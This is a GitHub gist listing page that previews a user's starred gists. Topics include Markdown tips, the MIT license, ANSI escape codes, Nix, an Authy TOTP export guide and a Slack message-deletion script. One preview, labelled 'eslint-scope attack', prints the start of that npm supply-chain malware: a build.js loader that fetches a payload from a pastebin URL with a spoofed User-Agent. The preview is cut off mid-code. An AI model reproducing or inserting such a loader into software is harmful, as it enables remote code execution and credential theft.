Skip to content

Instantly share code, notes, and snippets.

View kachick's full-sized avatar
๐Ÿ˜‹
๐Ÿ˜ช

Kenichi Kamiya kachick

๐Ÿ˜‹
๐Ÿ˜ช
View GitHub Profile
@Phroneris
Phroneris / howGithubMarkdownDetailsWork.md
Last active May 1, 2025 06:48
GitHubใฎMarkdownใงๆŠ˜ใ‚ŠใŸใŸใฟ่จ˜ๆณ•ใฎไธญ่บซใ‚’ๆ•ดๅฝขใ•ใ›ใ‚‹ๆ–นๆณ•

ใฉใ†ใ‚„ใ‚‰</summary>ๅพŒใฎ็ฉบ่กŒไปฅ้™ใ‹ใ‚‰ๆ•ดๅฝขใ•ใ‚Œใ‚‹ใ€‚

่จ˜่ฟฐ

้•ใ„ใฏ</summary>ๅพŒใฎ็ฉบ่กŒใ ใ‘ใ€‚

<details>
<summary>ใ“ใ‚Œใฏไธญ่บซใŒๆ•ดๅฝขใ•ใ‚Œใชใ„</summary>
1. ้‡Ž่œ**A**ใฎ็šฎใ‚’ๅ‰ฅใใ€‚
2. ไนฑๅˆ‡ใ‚Šใซใ™ใ‚‹ใ€‚
@fbaierl
fbaierl / ForkMITLicensedProject.md
Created November 6, 2018 14:17
HOWTO fork a MIT licensed project

No, you are not allowed to change the copyright notice. Indeed, the license text states pretty clearly:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

But you are allowed to add a copyright notice.

If you want to keep the MIT license, which is what I would advise you to do, you only need to add a single line to the license file, before or after Copyright (c) 2012 Some Name with your own copyright notice. The final LICENSE file will look like this:

The MIT License (MIT)

@fnky
fnky / ANSI.md
Last active December 16, 2025 00:04
ANSI Escape Codes

ANSI Escape Sequences

Standard escape codes are prefixed with Escape:

  • Ctrl-Key: ^[
  • Octal: \033
  • Unicode: \u001b
  • Hexadecimal: \x1B
  • Decimal: 27
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@edolstra
edolstra / nix-lang.md
Last active October 23, 2025 06:51
Nix language changes

This document contains some ideas for additions to the Nix language.

Motivation

The Nix package manager, Nixpkgs and NixOS currently have several problems:

  • Poor discoverability of package options. Package functions have function arguments like enableFoo, but there is no way for the Nix UI to discover them, let alone to provide programmatic ways to
@voluntas
voluntas / working_time.rst
Last active June 15, 2025 09:40
ๆ™‚้›จๅ ‚ใ‚’ๆ”ฏใˆใ‚‹ๅ›บๅฎšๆ™‚้–“ๅŠดๅƒ 1 ๆ—ฅ 6ย ๆ™‚้–“

ๆ™‚้›จๅ ‚ใ‚’ๆ”ฏใˆใ‚‹ๅ›บๅฎšๆ™‚้–“ๅŠดๅƒ 1 ๆ—ฅ 6 ๆ™‚้–“

ๆ›ดๆ–ฐ:2024-01-20
ไฝœ่€…:@voluntas
ใƒใƒผใ‚ธใƒงใƒณ:2024.1
URL:https://voluntas.github.io/

ๆฆ‚่ฆ

@cocopon
cocopon / dark.Xresources
Last active October 18, 2025 12:58
.Xresources for Iceberg
! special
*.foreground: #c6c8d1
*.background: #161821
*.cursorColor: #c6c8d1
! black
*.color0: #1e2132
*.color8: #6b7089
! red
@gboudreau
gboudreau / AuthyToOtherAuthenticator.md
Last active December 10, 2025 05:50 — forked from Ingramz/AuthyToOtherAuthenticator.md
Export TOTP tokens from Authy

Exporting your 2FA tokens from Authy to transfer them into another 2FA application

IMPORTANT - Update regarding deprecation of Authy desktop apps

Past August 2024, Authy stopped supported the desktop version of their apps:
See Authy is shutting down its desktop app | The 2FA app Authy will only be available on Android and iOS starting in August for details.

And indeed, after a while, Authy changed something in their backend which now prevents the old desktop app from logging in. If you are already logged in, then you are in luck, and you can follow the instructions below to export your tokens.

If you are not logged in anymore, but can find a backup of the necessary files, then restore those files, and re-install Authy 2.2.3 following the instructions below, and it should work as expected.

@firatkucuk
firatkucuk / delete-slack-messages.js
Last active May 26, 2025 13:43
Deletes slack public/private channel messages, private chat messages and channel thread replies.
#!/usr/bin/env node
// Channel ID is on the the browser URL.: https://mycompany.slack.com/messages/MYCHANNELID/
// Pass it as a parameter: node ./delete-slack-messages.js CHANNEL_ID
// CONFIGURATION #######################################################################################################
const token = 'SLACK TOKEN';
// Legacy tokens are no more supported.
// Please create an app or use an existing Slack App
@klaaspieter
klaaspieter / ASS.md
Created June 22, 2017 07:59 — forked from anonymous/ASS.md
Acronyms Seriously Suck - Elon Musk

From time to time, Musk will send out an e-mail to the entire company to enforce a new policy or let them know about something that's bothering him. One of the more famous e-mails arrived in May 2010 with the subject line: Acronyms Seriously Suck:

There is a creeping tendency to use made up acronyms at SpaceX. Excessive use of made up acronyms is a significant impediment to communication and keeping communication good as we grow is incredibly important. Individually, a few acronyms here and there may not seem so bad, but if a thousand people are making these up, over time the result will be a huge glossary that we have to issue to new employees. No one can actually remember all these acronyms and people don't want to seem dumb in a meeting, so they just sit there in ignorance. This is particularly tough on new employees.

That needs to stop immediately or I will take drastic action - I have given enough warning over the years. Unless an acronym is approved by me, it should not enter the SpaceX glossary.